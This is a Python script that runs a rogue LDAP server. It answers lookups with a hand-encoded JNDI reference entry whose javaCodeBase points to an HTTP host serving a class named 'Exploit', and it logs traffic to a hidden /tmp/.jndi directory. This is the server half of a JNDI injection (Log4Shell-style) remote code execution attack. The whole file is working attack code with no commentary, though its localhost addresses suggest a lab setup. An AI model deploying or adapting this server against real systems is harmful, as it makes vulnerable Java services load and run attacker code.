import socket, threading, time

LOG = open('/tmp/.jndi/ldap.log', 'a', buffering=1)

def log(x):
    LOG.write(x + '\n')

def octstr(b):
    if isinstance(b, str):
        b = b.encode()
    return b'\x04' + bytes([len(b)]) + b

def val(v):
    o = octstr(v)
    return b'\x31' + bytes([len(o)]) + o

def attr(k, v):
    body = octstr(k) + val(v)
    return b'\x30' + bytes([len(body)]) + body

def seq(*items):
    body = b''.join(items)
    if len(body) < 128:
        return b'\x30' + bytes([len(body)]) + body
    return b'\x30\x81' + bytes([len(body)]) + body

dn = b'Exploit'
attrs = [
    attr('objectClass', 'javaNamingReference'),
    attr('javaClassName', 'Exploit'),
    attr('javaFactory', 'Exploit'),
    attr('javaCodeBase', 'http://127.0.0.1:8088/'),
]
attrlist = b''.join(attrs)
attrseq = b'\x30' + bytes([len(attrlist)]) + attrlist
entry_body = octstr(dn) + attrseq
entry = b'\x64' + bytes([len(entry_body)]) + entry_body
done_body = b'\x0a\x01\x00\x04\x00\x04\x00'
done = b'\x65' + bytes([len(done_body)]) + done_body
msg1 = seq(b'\x02\x01\x02', entry)
msg2 = seq(b'\x02\x01\x02', done)

bindresp = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00'

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('127.0.0.1', 1389))
srv.listen(5)
log('listening')
while True:
    try:
        c, a = srv.accept()
    except Exception:
        continue
    c.settimeout(30)
    log('conn')
    try:
        data = c.recv(8192)
        log('recv1: ' + data.hex())
        c.send(bindresp)
        data = c.recv(8192)
        log('recv2: ' + data.hex())
        c.send(msg1)
        c.send(msg2)
        try:
            data = c.recv(8192)
            log('recv3: ' + data.hex())
        except Exception:
            pass
    except Exception as e:
        log('err: ' + str(e))
    finally:
        try:
            c.close()
        except Exception:
            pass